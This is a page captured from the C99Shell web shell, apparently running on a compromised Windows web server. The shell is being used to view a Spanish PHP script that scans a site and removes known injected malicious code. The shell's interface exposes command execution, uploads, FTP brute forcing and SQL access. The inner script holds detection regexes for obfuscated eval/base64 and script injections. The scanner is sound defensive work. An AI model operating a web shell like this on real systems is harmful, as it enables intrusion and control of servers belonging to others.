!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\   dr-xr-xr-x
Free 1.23 GB of 239.26 GB (0.52%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     limpieza.php (11.36 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*Para no ir devolviendo el contador en un array en cada funcion lo guardamos en sesion*/                           
session_start(); 
$_SESSION['contador']=0;


/*
 * Busqueda y limpieza de codigo malicioso en cualquier php
 * version: 2.0
 * 
 * 
 * 17/01/2014: Añadida nueva expresion regular para encontrar código malicioso "document.write(..." en .js
 *             Añadida revisión de ficheros .js
 * 
 * 10/10/2013: Añadidos los regex de los códigos maliciososo zen_framework y applyfilter()
 * 
 * 09/10/2013: Añadido array donde se indicarán todos los posibles codigos maliciosos y sus expresiones regulares para eliminarlos
 * para nuevos codigos encontrados, añadir nuevo indice con la nueva regex para borrarlo.
 * 
 * 
 * Notas: para evitar tener que trabajar con  demasiados ficheros (clases php, ficheros js o css) se ha incluido todo en este unico fichero.
 
 * */

 /********************************************************/
 /********************************************************/
 /* MODIFICAR A PARTIR DE AQUI******************************************************/
 
 /*DECLARAMOS AQUI TODOS LOS POSIBLES CODIGOS MALICIOSOS, LA EXPRESION REGULAR PARA BUSCARLOS Y EL TEXTO DE SUSTITUCION EN CASO DE ENCONTRARLOS,
  *Nota: en la mayoria de los casos solo habrá que eliminarlos (texto='')
  *
  * $array_malicioso contendrá los código que sabemos al 100% que deben de eliminarse
  * Formato: $array_malicioso['nombre_codigo_malicioso]=array('expresion regular','texto de sustitucion');
  * 
  * $posible_array_malicioso contendrá los códigos no seguros de ser eliminados y que deberán revisarse a mano
  * Formato: $posible_array_malicioso[]=array('expresion regular','explicacion del codigo buscado');
  */

 
$array_malicioso=array(); //MUAHAHAHAHAHA (pequeña licencia dramática)
 
$array_malicioso['eval_base64_decode']=array('/eval\(base64_decode\(\"(.*==)\"\)\);/m','');
 
$array_malicioso['zen_framework']=array('/<\?php \$zend_framework="\\\\x63\\\\162(.*)x2f"\); \?>/s','');
 
$array_malicioso['applyfilter']=array('/function applyfilter\((.*)\'applyfilter\', 1, 0\);/s','');
 
$array_malicioso['document.write-externo']=array('/\/\*[A-Za-z0-9-]*\*\/[\r\n\s]*(.*)[\r\n\s]*\/\*\/[A-Za-z0-9-]*\*\//im','');
// $array_malicioso['#caracteres#codigo#/caracteres#']=array('/\/\#[A-Za-z0-9-]*\*\/[\r\n\s]*(.*)[\r\n\s]*\/\*\/[A-Za-z0-9-]*\*\//im','');
 

 
$posible_array_malicioso=array(); 
 
$posible_array_malicioso[]=array('/eval\(base64_decode\(\"(.*(?!= \(==\)))\"\)\);/m','- Busca eval(base64_decode(...)) y comprueba si es necesario para el funcionamiento normal.');
 
$posible_array_malicioso[]=array('/\bjs.php|\<iframe\b/i','- Busca iframes o includes javascript hacia ficheros .php y comprueba si son necesarios para el funcionamiento normal');

 
 
/* NO MODIFICAR A PARTIR DE AQUI******************************************************/
 /********************************************************/
 /********************************************************/
 /********************************************************/
 
 
 //calculamos la hora de inicio del script para calcular el tiempo empleado en la busqueda y limpieza
 
$TiempoInicial getTiempo(); 
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Limpieza de código</title>
<meta name="author" content="Héctor Alvarez Fernandez (ektorsite.com)"/>
<meta name="description" content="Limpieza de código malicioso en webs"/>
<meta name="Keywords" content="limpieza, codigo, malicioso, webs, wordpress, joomla, etc"/>
<meta name='robots' content='noindex, nofollow'/>

<style>
    html {height:100%;}
    body {
        background: #eeeeee;
        font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
        margin: 0;
        text-align:center;
        height:100%;
    }
    
    #contenedor {
        width:910px;
        text-align:left;
        margin:0 auto;
        border-left:2px solid #cccccc;
        border-right:2px solid #cccccc;
        height:100%;
        background-color:#ffffff;
    }
    
    #contenido{
        padding: 40px;
    }
    
    .revisando, .error, .finalizado, .exito{
         border-radius: 10px 10px 10px 10px;
        -moz-border-radius: 10px 10px 10px 10px;
        -webkit-border-radius: 10px 10px 10px 10px;
        border: 1px solid #000000;
        padding:5px 10px;
    }
    
    .revisando{
        background-color:#cfcfcf;       
        margin:10px 0;
    }
    
    .error, .finalizado.titulo_error, .errores{
        background-color:#edab9f;        
        margin:5px 0;
    }
    
    .exito, .finalizado, .limpiados{
        background-color:#a3eb9f;       
        margin:5px 0;
    }
    
    .todos, .errores, .limpiados, .sin_errores{
        cursor:pointer;
        padding:2px 5px;
      /*  background-color:#333333;*/
        color:#000000;
        margin-left:15px;
         border-radius: 10px 10px 10px 10px;
        -moz-border-radius: 10px 10px 10px 10px;
        -webkit-border-radius: 10px 10px 10px 10px;
        border: 1px solid #000000;
    }
    
    .menu{margin-bottom:20px; }
    
    .oculto{display:none;}

    
</style>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
 
    $('.errores').click(function (){        
        $('.error').toggle('slow');       
    });
    
    $('.limpiados').click(function (){        
        $('.exito').toggle('slow');       
    });
});
</script>
</head>
<body>
    <div id="contenedor">        
        <div id="contenido">
              <div class='menu'>Plegar/desplegar:  
                  <span class='limpiados'>Los errores eliminados</span>
                  <span class='errores'>Los errores a revisar manualmente</span>
                
            </div>
            <?php 
                
                $mensajes
=recorrerDirectorio("./",$array_malicioso,$posible_array_malicioso); 
            
?>               
            <div class='finalizado<?php  if ($mensajes!="") echo " titulo_error";?>'>
                <?php  if ($mensajes!="") {?>
                   <h2>Revisi&oacute;n finalizada, se ha encontrado código malicioso o susceptible de serlo (<?=$_SESSION['contador']?> avisos).</h2>
                   <h4>Si existen, comprueba los avisos en rojo.</h4>
                <?php } else {?> 
                   <h2>¡¡ Enhorabuena, no se ha encontrado código malicioso conocido !!</h2>
                   <h4>Si sospechas que existe alguna amenaza que no se ha encontrado, ponte en contacto con nosotros en <a href="" target="_blank">ektorsite.com</a></h4><?php ?>
            </div>
            <?php 
                
echo $mensajes;
                
$TiempoFinal getTiempo(); 
                
$tiempo round(($TiempoFinal $TiempoInicial),6);                 
                echo 
"<div class='finalizado'>Tiempo de carga $tiempo segundos.</div>"
            
?>                      
        </div>
    </div>
</body>
</html>


<?php
    
//recorremos directorios de forma recursiva
    
function recorrerDirectorio($ruta,$array_malicioso,$posible_array_malicioso)
    {
       
$mensaje="";         
       
$dir opendir($ruta);
       while (
$elemento readdir($dir))
       {
         if( 
$elemento != "." && $elemento != "..")
         {
            
//si es un directorio, entramos a sus hijos
            
if (is_dir($ruta.$elemento))   
               
$mensaje.=recorrerDirectorio$ruta.$elemento.'/',$array_malicioso,$posible_array_malicioso );      
            
            
//abrimos el fichero y lo limpiamos (solo para ficheros .php y .js y evitando este fichero actual para que no se borren los comentarios)                  
            
elseif (((strpos($elemento,'.php')!==false) || (strpos($elemento,'.js')!==false)) && ($elemento!=basename(__FILE__)))   
               
$mensaje.=limpiar_fichero($ruta.$elemento,$array_malicioso,$posible_array_malicioso);    
            
            
//revisamos también si hay htaccess donde no debería
            
elseif ((strpos($elemento,'.htaccess')!==false) &&($ruta!='./'))   
               
$mensaje.="<div class='error'>Revisa el htaccess de la carpeta <b>".$ruta."</b></div>";
         }
      }        
      return 
$mensaje;  
    }
    
    
    
    
//limpiamos los códigos maliciosos y devolvemos las lineas que tengan posibilidad de contener más código oculto
    
function limpiar_fichero($fichero,$array_malicioso,$posible_array_malicioso
    {
       
$mensaje=$mensaje_final="";          
       
/*RECORREMOS EL ARRAY MALICIOSO Y REEMPLAZAMOS EL CODIGO MALICIOSO POR LO INDICADO EN EL ARRAY*/
       
$contenido_fichero file_get_contents($fichero);  //abrimos el fichero y obtenemos todo el contenido 
       
foreach ($array_malicioso as $nombre=>$regex)
       { 
          if (
preg_match($regex[0], $contenido_fichero)) //solo actualizamos si encontramos el codigo
          
{            
            
$contenido_fichero preg_replace($regex[0], $regex[1], $contenido_fichero); //sobreescribimos el codigo malicioso con lo indicado en el array
            
$mensaje.="<div class='exito'> Se ha encontrado y limpiado el c&oacute;digo malicioso '".$nombre."' en el fichero.</div>";
            
$_SESSION['contador']++;
          } 
       }
       if (
$mensaje!=""file_put_contents($fichero$contenido_fichero); //solo guardamos si se encontraron errores     

        
       /*VOLVEMOS A ABRIR EL FICHERO, ESTA VEZ PARA RECORRERLO LINEA A LINEA Y BUSCANDO POSIBLES CODIGOS MALICIOSOS A REVISAR MANUALMENTE*/
       
$DescriptorFichero fopen($fichero,"r");       
       
$lin='1';
       while(!
feof($DescriptorFichero))
       {             
          
$linea fgets($DescriptorFichero,4096);        
          if (
$linea!='')  $mensaje.=revisar_posibles($linea,$lin,$posible_array_malicioso); //pasamos la linea en la que se produciría el error          
          
$lin++;          
       }
       
     
       if (
$mensaje!="")  //devolvemos mensaje solo si el fichero se limpió o había sospechas de codigo malicioso a revisar manualmente
       
$mensaje_final="<div class='revisando'>Fichero sospechoso: <b>".$fichero."</b>.".$mensaje."</div>";      
       
       return 
$mensaje_final;
    }
    
    
    
    
    
    
//revisamos los posibles codigos maliciosos a revisar manualmente
    
function revisar_posibles($texto,$linea,$posible_array_malicioso)
    { 
       
$mensaje="";  
       foreach (
$posible_array_malicioso as $regex)
       {
          if (
preg_match($regex[0], $texto))
          {
            
$mensaje.="<div class='error'>Existe la posibilidad de que contenga c&oacute;digos maliciosos ocultos en la linea <b>".$linea."</b>.";
            if (
$regex[1]!=''$mensaje.="<br>".$regex[1];
            
$mensaje.="</div>"
            
$_SESSION['contador']++; 
          } 
       }      
       return 
$mensaje;
    }

    
    function 
getTiempo() 
    { 
        list(
$usec$sec) = explode(" ",microtime()); 
        return ((float)
$usec + (float)$sec); 
    } 

    
    

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--